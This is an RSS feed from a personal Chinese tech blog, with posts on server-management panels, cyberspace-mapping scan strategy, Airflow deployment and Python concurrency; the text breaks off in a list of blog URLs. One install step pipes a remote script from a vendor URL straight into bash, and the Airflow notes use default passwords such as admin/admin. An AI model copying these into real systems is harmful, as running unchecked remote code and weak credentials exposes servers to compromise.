<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/" version="2.0"> 
<channel>
  <image>
    <url>https://www.0akarma.com/static/images/hw.jpg</url>
    <title>0aKarmA's Blog @ D0g3</title>
    <link>https://www.0akarma.com/</link>
    <width>32</width>
    <height>32</height>
  </image>
  <title>0aKarmA's Blog @ D0g3</title>
  <link>https://www.0akarma.com/</link>
  <description>Stay hungry, stay foolish.</description>
  <pubDate>Mon, 14 Jun 2021 02:56:51 +0800</pubDate>

  <item>
    <title>
      Python进阶——浅谈自动化运维方案与思路
    </title>
    <link>https://www.0akarma.com/automatic-ops-by-python.html</link>
    <description>&lt;h2 id=&quot;0x00&quot;&gt;0x00 背景&lt;/h2&gt;
&lt;p&gt;手上的服务器越来越多，实在是受不了每次都手动登陆上去管了，就在想有什么方法能够实现轻便的自动化运维，需求大概如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;尽量不暴露额外端口，即需要基于SSH进行操作管理&lt;/li&gt;
&lt;li&gt;支持上传/下载文件&lt;/li&gt;
&lt;li&gt;支持批量节点管理&lt;ul&gt;
&lt;li&gt;服务器监控&lt;/li&gt;
&lt;li&gt;远程管理服务&lt;/li&gt;
&lt;li&gt;……&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;0x01&quot;&gt;0x01 相关服务器管理面板调研&lt;/h2&gt;
&lt;h3 id=&quot;ajenti&quot;&gt;&lt;a href=&quot;https://github.com/ajenti/ajenti&quot; rel=&quot;nofollow&quot;&gt;Ajenti&lt;/a&gt;&lt;/h3&gt;
&lt;h4 id=&quot;_1&quot;&gt;安装&lt;/h4&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code&gt;sudo pip3 install setuptools pip wheel -U
# 最小化安装
pip3 install ajenti-panel ajenti.plugin.core ajenti.plugin.dashboard ajenti.plugin.settings ajenti.plugin.plugins
# 完整安装
pip3 install ajenti-panel ajenti.plugin.ace ajenti.plugin.augeas ajenti.plugin.auth-users ajenti.plugin.core ajenti.plugin.dashboard ajenti.plugin.datetime ajenti.plugin.filemanager ajenti.plugin.filesystem ajenti.plugin.network ajenti.plugin.notepad ajenti.plugin.packages ajenti.plugin.passwd ajenti.plugin.plugins ajenti.plugin.power ajenti.plugin.services ajenti.plugin.settings ajenti.plugin.terminal

# 启动/暂停/重启
ajenti-panel start&lt;/code&gt;&lt;/pre&gt;


&lt;h4 id=&quot;_2&quot;&gt;可行性分析&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;优点&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;安装的每一个都是可以独立自行管理的受控端&lt;/li&gt;
&lt;li&gt;除了核心基本模块，其余模块都是以插件形式运行，支持终端、Docker、Cron等的基本管理&lt;/li&gt;
&lt;li&gt;开源，可以定制插件，适配不同的需求&lt;/li&gt;
&lt;li&gt;不臃肿，可以根据需要加载插件&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;缺点&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;没有控制中心插件，故不支持多节点管理，需要自行定制化&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;appnode&quot;&gt;&lt;a href=&quot;https://www.appnode.com/&quot; rel=&quot;nofollow&quot;&gt;Appnode&lt;/a&gt;&lt;/h3&gt;
&lt;h4 id=&quot;_3&quot;&gt;安装&lt;/h4&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code&gt;# 宿主机
INSTALL_AGENT=1 bash -c &quot;$(curl -sS &lt;a href=&quot;http://dl.appnode.com/install.sh&quot; rel=&quot;nofollow&quot;&gt;http://dl.appnode.com/install.sh&lt;/a&gt;)&quot;&lt;/code&gt;&lt;/pre&gt;


&lt;h4 id=&quot;_4&quot;&gt;可行性分析&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;优点&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;分为控制中心和受控端&lt;/li&gt;
&lt;li&gt;基本上的功能都封装好了，还支持各种API，文档也挺全&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;缺点&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;相比于Ajenti优点臃肿（受控端装了很多用不着的东西&lt;/li&gt;
&lt;li&gt;不能安装在容器里（不能忍&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;tower&quot;&gt;&lt;a href=&quot;https://www.ansible.com/products/tower&quot; rel=&quot;nofollow&quot;&gt;Tower&lt;/a&gt;&lt;/h3&gt;
&lt;h3 id=&quot;cockpit&quot;&gt;&lt;a href=&quot;https://cockpit-project.org/&quot; rel=&quot;nofollow&quot;&gt;Cockpit&lt;/a&gt;&lt;/h3&gt;
&lt;h3 id=&quot;zabbix&quot;&gt;&lt;a href=&quot;https://www.zabbix.com/&quot; rel=&quot;nofollow&quot;&gt;Zabbix&lt;/a&gt;&lt;/h3&gt;
&lt;h4 id=&quot;_5&quot;&gt;可行性分析&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;优点&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;监控齐全&lt;/li&gt;
&lt;li&gt;可以执行255字符以内命令&lt;ul&gt;
&lt;li&gt;但不支持proxy及主动agent模式，即需要节点监听端口&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;缺点&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;依赖Zabbix-Agent&lt;ul&gt;
&lt;li&gt;初次部署时，还是要人工登陆进行安装&lt;/li&gt;
&lt;li&gt;Zabbix-Agent挂了时，相当于节点失联&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;0x02&quot;&gt;0x02 相关框架调研&lt;/h2&gt;
&lt;h3 id=&quot;paramiko&quot;&gt;&lt;a href=&quot;http://www.paramiko.org/&quot; rel=&quot;nofollow&quot;&gt;Paramiko&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;这个包功能特别的丰富，对于自动化运维来说，只需要用到与&lt;code&gt;Client&lt;/code&gt;相关的就行（特别是支持密码或密钥登陆）。&lt;/p&gt;
&lt;h3 id=&quot;invoke&quot;&gt;&lt;a href=&quot;http://www.pyinvoke.org/&quot; rel=&quot;nofollow&quot;&gt;Invoke&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;因为Invoke是在&lt;a href=&quot;https://docs.fabfile.org/en/2.3/index.html&quot; rel=&quot;nofollow&quot;&gt;Fabric2.x&lt;/a&gt;的时候独立出来的一个项目，所以他在设计上，就是为自动化运维而生的（最香的是封装了本地shell执行）&lt;/p&gt;
&lt;h3 id=&quot;click&quot;&gt;&lt;a href=&quot;https://click.palletsprojects.com/en/8.0.x/&quot; rel=&quot;nofollow&quot;&gt;Click&lt;/a&gt;&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;Click was written to support the Flask microframework ecosystem because no tool could provide it with the functionality it needed.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Click是Flask开发团队用于支撑flask的一个命令行工具（我就觉得他跟flask command的封装有些相似），所以他的工作完全在优化兼容不同系统下的命令行模式，对于自动化运维来说，他比Invoke少了支持shell命令的运行，就意味着要自己去封装实现。&lt;/p&gt;
&lt;h2 id=&quot;0x03&quot;&gt;0x03 总结&lt;/h2&gt;
&lt;p&gt;经过上面的一通分（hu shuo）析 (ba dao)，发现还是基于Paramiko和Invoke的方案比较成熟，而Fabric就是基于这两者实现的，所以接下来会试用一下Fabric，了解一下它的逻辑以及是否满足需求，再看看是否需要自己重复造轮子。&lt;/p&gt;</description>
    <pubDate>Mon, 14 Jun 2021 02:56:51 +0800</pubDate>
  </item>
  <item>
    <title>
      竞品分析的艺术——空间测绘扫描策略初探
    </title>
    <link>https://www.0akarma.com/scanning-strategy-of-cybermapping.html</link>
    <description>&lt;h2 id=&quot;0x01&quot;&gt;0x01 背景&lt;/h2&gt;
&lt;p&gt;作为一个螺（实）丝（习）钉（生），工作内容比较灵活，所以各方面的东西都能接触到不少。这回来唠嗑唠嗑自己对空间测绘系统扫描策略的一些理解。&lt;/p&gt;
&lt;p&gt;总感觉今年各家的空间测绘产品都逐渐冒头toC了，除了老牌的Shodan、Censys、Zoomeye、Fofa、BinaryEdge，新晋的如全球鹰、RaySpace、Sumap等产品都陆陆续续开启了toC模式，这说明网络空间测绘在整个国家网络安全方面的需求更加明显了，各家都开始顺势打造并巩固属于自己的产品壁垒。&lt;/p&gt;
&lt;h2 id=&quot;0x02&quot;&gt;0x02 从扫描引擎看扫描策略&lt;/h2&gt;
&lt;p&gt;拿Zmap、Masscan的官方宣传的话来说，默认模式45分钟左右可以扫完全网。但对于空间测绘系统来说，不单单是扫完全网某一端口是否开放就完事了，还需要对开放端口的协议进行识别、甚至还有深度识别，才能绘制出细致的网络空间地图。&lt;/p&gt;
&lt;p&gt;所以如果现在基本上很少看到以“多快”能扫描全网这种类似的宣传用语了，毕竟懂的人都懂。&lt;/p&gt;
&lt;p&gt;那么在扫描速度受各种因素限制的情况下，怎么样扫，才能达到“类全网”扫描的结果呢？在扫描引擎的角度，除了底层扫描逻辑的优化和设置端口扫描/识别优先级，还能通过什么来优化扫描策略呢？&lt;/p&gt;
&lt;h2 id=&quot;0x03-ip&quot;&gt;0x03 从全网IP存活数看扫描策略&lt;/h2&gt;
&lt;p&gt;在真正接触网络空间测绘之前，用空间测绘产品时都是站在点的角度上去看某个IP下有啥东西。现在慢慢接触了之后，才发现甚至可以站在宏观的角度上，从单位、区域等角度去看整个网络空间的信息，真是让人大开眼界。下面这幅图是全网Ipv4网络空间存活的&lt;code&gt;希尔伯特曲线&lt;/code&gt;，可以清晰的看到其实并不是所有IP都是存活的，也就是有些IP是没有被利用的（感兴趣的可以去研究一下这部分没利用的IP都在谁手里，这里就不详细展开了）。&lt;br&gt;
&lt;img alt=&quot;-w557&quot; src=&quot;/api/download/16004873835206.jpg&quot;&gt;&lt;br&gt;
也就是说，我们可以将全网所有Ipv4的IP分成若干块，然后按照每块的IP利用率进行排序，然后对这些频繁存活的IP块进行周期扫描识别，也就能在消耗相同资源的情况下，完成了“类全网”扫描识别。&lt;br&gt;
但其实这种策略有个缺点就是，利用率低的块可能就不能很好的覆盖扫描。&lt;/p&gt;
&lt;h2 id=&quot;0x03&quot;&gt;0x03 从端口数据看扫描策略&lt;/h2&gt;
&lt;p&gt;由于现在各家产品基本上都上了API频率、积分、封禁限制。所以数据统计（白嫖）的工作没有以前那么好开展了，这里只展示一下具体思路和一个分析撒旦的简单例子，感兴趣的就自己去找路子拿数据就能分析出结果了。&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/16004895306375.jpg&quot;&gt;&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/16004895549779.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;上图的&lt;code&gt;核心端口&lt;/code&gt;、&lt;code&gt;重要端口&lt;/code&gt;、&lt;code&gt;一般端口&lt;/code&gt;、&lt;code&gt;小众端口&lt;/code&gt;、&lt;code&gt;其他端口&lt;/code&gt;其实就是按照总数划分的的一个端口分类，可以看到撒旦7-8月对核心端口和重要端口（共30+个）的扫描，均占了整月扫描数量的一半以上，由此可以推断出，撒旦的核心扫描端口大概在这30多个当中。&lt;/p&gt;
&lt;p&gt;其实把一年中每个月的数据都给统计一下，也是可以看出某个月有没有特别关注的端口，用于挖掘分析一些扫描策略的信息，但由于现在各家都不一样，限制的也比较死，后续有机会看看再整这部分内容。&lt;/p&gt;
&lt;h2 id=&quot;0x04&quot;&gt;0x04 总结&lt;/h2&gt;
&lt;p&gt;百家争鸣其实是好事，能够鼓励不断创新，推动国家网络安全的发展建设（毕竟我们属实比别人落后不少）。身在百家之中，路漫漫其修远兮，愿走出半生，归来仍不忘初心。&lt;/p&gt;</description>
    <pubDate>Thu, 10 Sep 2020 14:51:00 +0800</pubDate>
  </item>
  <item>
    <title>
      Airflow真香之踩坑记录
    </title>
    <link>https://www.0akarma.com/airflow-learning.html</link>
    <description>&lt;h2 id=&quot;0x00&quot;&gt;0x00 前言&lt;/h2&gt;
&lt;p&gt;最近手头上需要定时自动化维护一些数据，一开始还在想怎么可以减少重复劳动的工作量，后来有前辈跟我提了一嘴&lt;a href=&quot;https://github.com/apache/airflow#official-docker-images&quot; rel=&quot;nofollow&quot;&gt;Airflow&lt;/a&gt;，然后试了试，真香……&lt;/p&gt;
&lt;p&gt;然后就开始了下面的踩坑之旅……&lt;/p&gt;
&lt;h2 id=&quot;0x01-docker&quot;&gt;0x01 Docker 自动化部署&lt;/h2&gt;
&lt;p&gt;虽然说可以手动pip安装，但是感觉这样不够轻量，然后就去Github上看看有没有docker镜像～官方那个all in one有点臃肿，然后就看到了&lt;a href=&quot;https://github.com/puckel/docker-airflow&quot; rel=&quot;nofollow&quot;&gt;docker-airflow&lt;/a&gt;，他提供了3种不同的&lt;code&gt;executor&lt;/code&gt;，我这里&lt;code&gt;LocalExecutor&lt;/code&gt;和&lt;code&gt;CeleryExecutor&lt;/code&gt;都试过，感觉单节点的话，用&lt;code&gt;LocalExecutor&lt;/code&gt;基本上就可以了，如果后续需要添加worker节点，可以考虑&lt;code&gt;CeleryExecutor&lt;/code&gt;，但是下面的坑，其实都是通用的。&lt;/p&gt;
&lt;p&gt;但是要注意的一个点就是，建议在&lt;code&gt;docker-compose_xx.yml&lt;/code&gt;里先自行填上&lt;code&gt;FERNET_KEY&lt;/code&gt;，免得启动容器了再在里面加。&lt;/p&gt;
&lt;h2 id=&quot;0x02&quot;&gt;0x02 初始化数据库&lt;/h2&gt;
&lt;p&gt;默认启动的时候数据库是没有进行初始化的。。所以脚本是跑不通的。。因为会报各种表不存在&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code&gt;sqlalchemy.exc.OperationalError: (sqlite3.OperationalError) no such table: task_instance&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;这时候就用&lt;code&gt;airflow initdb&lt;/code&gt;初始化一下数据库，但是这里会发现他初始化的是sqlite，这就导致后面表不统一（明明开了PostgreSQL&lt;/p&gt;
&lt;p&gt;所以还是要把&lt;code&gt;airflow.cfg&lt;/code&gt;的数据库配置改成&lt;code&gt;sql_alchemy_conn = postgresql://airflow:airflow@postgres/airflow&lt;/code&gt;才会对应用postgresql数据库&lt;/p&gt;
&lt;h2 id=&quot;0x03-web&quot;&gt;0x03 Web登陆认证配置&lt;/h2&gt;
&lt;h3 id=&quot;_1&quot;&gt;修改配置&lt;/h3&gt;
&lt;p&gt;在&lt;code&gt;airflow.cfg&lt;/code&gt;的&lt;code&gt;[webserver]&lt;/code&gt;下面添加如下配置&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code&gt;authenticate = True
auth_backend = airflow.contrib.auth.backends.password_auth&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;然后安装一个pip包&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code&gt;pip install flask_bcrypt&lt;/code&gt;&lt;/pre&gt;


&lt;h3 id=&quot;_2&quot;&gt;增加用户&lt;/h3&gt;
&lt;p&gt;然后这里就是坑点。。。网上有的大哥说可以直接用命令建&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code&gt;airflow create_user --username admin --lastname admin --firstname admin --email test@test.com --role Admin --password admin

// 但是也会报表不存在
sqlalchemy.exc.OperationalError: (sqlite3.OperationalError) no such table: ab_permission_view_role&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;我后面是直接在Web页面建了用户，然后手动在数据库update的密码……&lt;br&gt;
后来又发现在原来的基础上需要把sql engine也给配了，才不会用默认的sqlite&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;import airflow
from airflow import models, settings
from airflow.contrib.auth.backends.password_auth import PasswordUser
from sqlalchemy import create_engine
user = PasswordUser(models.User())
user.username = &#x27;&#x27;
user.email = &#x27;&#x27;
user.password = &#x27;&#x27;
# Make the value true if you want the user to be a administrator
user.superuser = True
engine = create_engine(&quot;postgresql://airflow:airflow@postgres:5432/airflow&quot;)
session = settings.Session(bind=engine)
session.add(user)
session.commit()
session.close()
exit()&lt;/code&gt;&lt;/pre&gt;


&lt;h3 id=&quot;0x04&quot;&gt;0x04 任务定时执行窗口&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;Note that if you run a DAG on a schedule_interval of one day, the run stamped 2016-01-01 will be trigger soon after 2016-01-01T23:59. In other words, the job instance is started once the period it covers has ended.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;其实就是要注意下，下一个执行周期到来的时候当前任务才会执行。即假设是每日任务，今天的任务，会在明天才执行。&lt;/p&gt;
&lt;h3 id=&quot;0x05&quot;&gt;0x05 测试任务&lt;/h3&gt;
&lt;p&gt;按照模版写好dag，然后就可以开始测试脚本了&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;# 列出所有可执行的tasks
airflow list_tasks dag_name
# 测试执行tasks
airflow test dag_name task_name date&lt;/code&gt;&lt;/pre&gt;</description>
    <pubDate>Sat, 15 Aug 2020 02:31:29 +0800</pubDate>
  </item>
  <item>
    <title>
      Python进阶——如何优雅地使用Python高并发
    </title>
    <link>https://www.0akarma.com/python-concurrency.html</link>
    <description>&lt;h2 id=&quot;_1&quot;&gt;背景&lt;/h2&gt;
&lt;p&gt;话就不多说了，直接上代码&lt;/p&gt;
&lt;h2 id=&quot;_2&quot;&gt;多进程&lt;/h2&gt;
&lt;p&gt;多进程下可以用&lt;code&gt;Manager&lt;/code&gt;类来共享变量，&lt;code&gt;apply_async&lt;/code&gt;可以调用多个参数，用&lt;code&gt;map&lt;/code&gt;只能调用单个参数&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;from multiprocessing import Pool, Manager


def rice(x,results):
    result = &quot;吃{}碗饭...&quot;.format(x)
    # print(result)
    results.append(result)


if __name__ == &#x27;__main__&#x27;:

    results = Manager().list()
    pool = Pool(processes=2)
    jobs = []
    for x in range(3):
        job = pool.apply_async(rice, (x, results))
        jobs.append(job)
    pool.close()
    pool.join()
    print(results)

# Output:   
# [&#x27;吃0碗饭...&#x27;, &#x27;吃1碗饭...&#x27;, &#x27;吃2碗饭...&#x27;]&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;当然在Python3.2之后还可以用(写法)更简单一点的&lt;code&gt;concurrent.futures&lt;/code&gt;&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;from concurrent.futures import ProcessPoolExecutor
p = ProcessPoolExecutor(2)
for i in range(5):
    obj = p.submit(task, i)&lt;/code&gt;&lt;/pre&gt;


&lt;h2 id=&quot;_3&quot;&gt;多线程&lt;/h2&gt;
&lt;p&gt;不是特殊情况下，一般不会用Python的多线程，毕竟有GIL锁，想了解GIL锁可以看另一篇文章：&lt;a href=&quot;/python-gil.html&quot; rel=&quot;nofollow&quot;&gt;Python进阶——什么是Python GIL？&lt;/a&gt;&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;from multiprocessing.pool import ThreadPool


def rice(x,results):
    result = &quot;吃{}碗饭...&quot;.format(x)
    results.append(result)


if __name__ == &#x27;__main__&#x27;:
    results = []
    pool = ThreadPool(2)
    jobs = []
    for x in range(3):
        job = pool.apply_async(rice, (x, results))
        jobs.append(job)
    pool.close()
    pool.join()
    print(results)

# Output:   
# [&#x27;吃0碗饭...&#x27;, &#x27;吃1碗饭...&#x27;, &#x27;吃2碗饭...&#x27;]&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;同样的在Python3.2之后还可以用(写法)更简单一点的&lt;code&gt;concurrent.futures&lt;/code&gt;&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;from concurrent.futures import ThreadPoolExecutor
p = ThreadPoolExecutor(2)
for i in range(5):
    obj = p.submit(task, i)&lt;/code&gt;&lt;/pre&gt;


&lt;h2 id=&quot;_4&quot;&gt;协程&lt;/h2&gt;
&lt;p&gt;协程这里其实可以有很多框架可以做例子，&lt;code&gt;asyncio&lt;/code&gt;或&lt;code&gt;gevent&lt;/code&gt;，这里用&lt;code&gt;gevent&lt;/code&gt;举栗子&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;from gevent import monkey, pool
monkey.patch_all()
import gevent


def rice(x):
    result = &quot;吃{}碗饭...&quot;.format(x)
    print(result)
    gevent.sleep(1)
    print(&quot;歇{}会再吃...&quot;.format(x))

if __name__ == &#x27;__main__&#x27;:
    num = 3
    pool = pool.Pool(num)
    for i in range(3):
        pool.spawn(rice, i)
    pool.join()

# Output:
吃0碗饭...
吃1碗饭...
吃2碗饭...
歇0会再吃...
歇1会再吃...
歇2会再吃...&lt;/code&gt;&lt;/pre&gt;


&lt;h2 id=&quot;_5&quot;&gt;多进程 + 多线程&lt;/h2&gt;
&lt;p&gt;这种类型比较适合CPU密集型场合，因为多线程里没有自动对锁的切换，如果用在大规模网络请求中还是比较推荐下面的&lt;code&gt;多进程+协程&lt;/code&gt;&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;import os
from multiprocessing import Pool
from multiprocessing.pool import ThreadPool


def rice(x,y):
    print(&quot;{} -- 吃{}碗饭...&quot;.format(x,y))

def thread_func(x):
    pool = ThreadPool(3)
    for y in range(3):
        pool.apply_async(rice, (x,y))
    pool.close()
    pool.join()
    print(&quot;{}吃完了.&quot;.format(x))

if __name__ == &#x27;__main__&#x27;:
    pool = Pool(processes=3)
    for x in range(3):
        pool.apply_async(thread_func, (x,))
    pool.close()
    pool.join()

# Output:
0 -- 吃0碗饭...
1 -- 吃0碗饭...
0 -- 吃1碗饭...
0 -- 吃2碗饭...
1 -- 吃1碗饭...
1 -- 吃2碗饭...
2 -- 吃0碗饭...
2 -- 吃1碗饭...
2 -- 吃2碗饭...
0吃完了.
1吃完了.
2吃完了.&lt;/code&gt;&lt;/pre&gt;


&lt;h2 id=&quot;_6&quot;&gt;多进程 + 协程&lt;/h2&gt;
&lt;p&gt;爬虫运用这种配合可以达到效率最快化，当然还要根据实际情况进行微调。&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;from gevent import monkey, pool
monkey.patch_all(thread=False)
from multiprocessing import Pool
import gevent, requests, os, time


url_lists = &quot;&quot;&quot;&lt;a href=&quot;https://www.0akarma.com/&quot; rel=&quot;nofollow&quot;&gt;https://www.0akarma.com/&lt;/a&gt;
&lt;a href=&quot;https://www.0akarma.com/blog&quot; rel=&quot;nofollow&quot;&gt;https://www.0akarma.com/blog&lt;/a&gt;
&lt;a href=&quot;https://www.0akarma.com/archives&quot; rel=&quot;nofollow&quot;&gt;https://www.0akarma.com/archives&lt;/a&gt;
&lt;a href=&quot;https://www.0akarma.com/flicks&quot; rel=&quot;nofollow&quot;&gt;https://www.0akarma.com/flicks&lt;/a&gt;
&lt;a href=&quot;https://www.0akarma.com/life&quot; rel=&quot;nofollow&quot;&gt;https://www.0akarma.com/life&lt;/a&gt;
&lt;a href=&quot;https://www.0akarma.com/about&quot; rel=&quot;nofollow&quot;&gt;https://www.0akarma.com/about&lt;/a&gt;
&lt;a href=&quot;https://www.0akarma.com/search?q=&quot; rel=&quot;nofollow&quot;&gt;https://www.0akarma.com/search?q=&lt;/a&gt;
&lt;a href=&quot;http://www.0akarma.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.0akarma.com/&lt;/a&gt;
&lt;a href=&quot;https://www.0akarma.com/feed&quot; rel=&quot;nofollow&quot;&gt;https://www.0akarma.com/feed&lt;/a&gt;
&lt;a href=&quot;https://www.0akarma.com/vue-learning.html&quot; rel=&quot;nofollow&quot;&gt;https://www.0akarma.com/vue-learning.html&lt;/a&gt;
&lt;a href=&quot;https://www.0akarma.com/tags/Vue&quot; rel=&quot;nofollow&quot;&gt;https://www.0akarma.com/tags/Vue&lt;/a&gt;
&lt;a href=&quot;https://www.0akarma.com/host-series-vulns.html&quot; rel=&quot;nofollow&quot;&gt;https://www.0akarma.com/host-series-vulns.html&lt;/a&gt;
&lt;a href=&quot;https://www.0akarma.com/tags/BlackHat&quot; rel=&quot;nofollow&quot;&gt;https://www.0akarma.com/tags/BlackHat&lt;/a&gt;
&lt;a href=&quot;https://www.0akarma.com/tags/Host-Series&quot; rel=&quot;nofollow&quot;&gt;https://www.0akarma.com/tags/Host-Series&lt;/a&gt;
&lt;a href=&quot;https://www.0akarma.com/tags/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1&quot; rel=&quot;nofollow&quot;&gt;https://www.0akarma.com/tags/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1&lt;/a&gt;
&lt;a href=&quot;https://www.0akarma.com/python-universal-vuln-learning.html&quot; rel=&quot;nofollow&quot;&gt;https://www.0akarma.com/python-universal-vuln-learning.html&lt;/a&gt;
&lt;a href=&quot;https://www.0akarma.com/blog?page=2&quot; rel=&quot;nofollow&quot;&gt;https://www.0akarma.com/blog?page=2&lt;/a&gt;
&lt;a href=&quot;https://www.0akarma.com/tags/Python&quot; rel=&quot;nofollow&quot;&gt;https://www.0akarma.com/tags/Python&lt;/a&gt;
&lt;a href=&quot;https://www.0akarma.com/feedlybot.html&quot; rel=&quot;nofollow&quot;&gt;https://www.0akarma.com/feedlybot.html&lt;/a&gt;
&lt;a href=&quot;https://www.0akarma.com/about.html&quot; rel=&quot;nofollow&quot;&gt;https://www.0akarma.com/about.html&lt;/a&gt;
&lt;a href=&quot;https://www.0akarma.com/tags/SQL%20Injection&quot; rel=&quot;nofollow&quot;&gt;https://www.0akarma.com/tags/SQL%20Injection&lt;/a&gt;
&lt;a href=&quot;https://www.0akarma.com/tags/CTF&quot; rel=&quot;nofollow&quot;&gt;https://www.0akarma.com/tags/CTF&lt;/a&gt;
&lt;a href=&quot;https://www.0akarma.com/tags/Spider&quot; rel=&quot;nofollow&quot;&gt;https://www.0akarma.com/tags/Spider&lt;/a&gt;
&lt;a href=&quot;https://www.0akarma.com/tags/Scrapy&quot; rel=&quot;nofollow&quot;&gt;https://www.0akarma.com/tags/Scrapy&lt;/a&gt;
&lt;a href=&quot;https://www.0akarma.com/tags/Vulnhub&quot; rel=&quot;nofollow&quot;&gt;https://www.0akarma.com/tags/Vulnhub&lt;/a&gt;
&lt;a href=&quot;https://www.0akarma.com/tags/Hexo&quot; rel=&quot;nofollow&quot;&gt;https://www.0akarma.com/tags/Hexo&lt;/a&gt;
&lt;a href=&quot;https://www.0akarma.com/tags/Docker&quot; rel=&quot;nofollow&quot;&gt;https://www.0akarma.com/tags/Docker&lt;/a&gt;
&lt;a href=&quot;https://www.0akarma.com/tags/Mac&quot; rel=&quot;nofollow&quot;&gt;https://www.0akarma.com/tags/Mac&lt;/a&gt;
&lt;a href=&quot;https://www.0akarma.com/tags/Mentohust&quot; rel=&quot;nofollow&quot;&gt;https://www.0akarma.com/tags/Mentohust&lt;/a&gt;
&lt;a href=&quot;https://www.0akarma.com/tags/Flask&quot; rel=&quot;nofollow&quot;&gt;https://www.0akarma.com/tags/Flask&lt;/a&gt;
&lt;a href=&quot;https://www.0akarma.com/tags/Exploitation&quot; rel=&quot;nofollow&quot;&gt;https://www.0akarma.com/tags/Exploitation&lt;/a&gt;
&lt;a href=&quot;https://www.0akarma.com/tags/Nginx&quot; rel=&quot;nofollow&quot;&gt;https://www.0akarma.com/tags/Nginx&lt;/a&gt;
&lt;a href=&quot;https://www.0akarma.com/tags/CTFd&quot; rel=&quot;nofollow&quot;&gt;https://www.0akarma.com/tags/CTFd&lt;/a&gt;
&lt;a href=&quot;https://www.0akarma.com/tags/Coolq&quot; rel=&quot;nofollow&quot;&gt;https://www.0akarma.com/tags/Coolq&lt;/a&gt;
&lt;a href=&quot;https://www.0akarma.com/junior-flags.html&quot; rel=&quot;nofollow&quot;&gt;https://www.0akarma.com/junior-flags.html&lt;/a&gt;
&lt;a href=&quot;https://www.0akarma.com/self-talking-of-2018.html&quot; rel=&quot;nofollow&quot;&gt;https://www.0akarma.com/self-talking-of-2018.html&lt;/a&gt;
&lt;a href=&quot;https://www.0akarma.com/ballroom-e-youkoso.html&quot; rel=&quot;nofollow&quot;&gt;https://www.0akarma.com/ballroom-e-youkoso.html&lt;/a&gt;
&lt;a href=&quot;https://www.0akarma.com/tags/Meditation&quot; rel=&quot;nofollow&quot;&gt;https://www.0akarma.com/tags/Meditation&lt;/a&gt;
&lt;a href=&quot;https://www.0akarma.com/tags/Flag&quot; rel=&quot;nofollow&quot;&gt;https://www.0akarma.com/tags/Flag&lt;/a&gt;
&lt;a href=&quot;https://www.0akarma.com/tags/Movies&quot; rel=&quot;nofollow&quot;&gt;https://www.0akarma.com/tags/Movies&lt;/a&gt;
&lt;a href=&quot;https://www.0akarma.com/life?page=2&quot; rel=&quot;nofollow&quot;&gt;https://www.0akarma.com/life?page=2&lt;/a&gt;
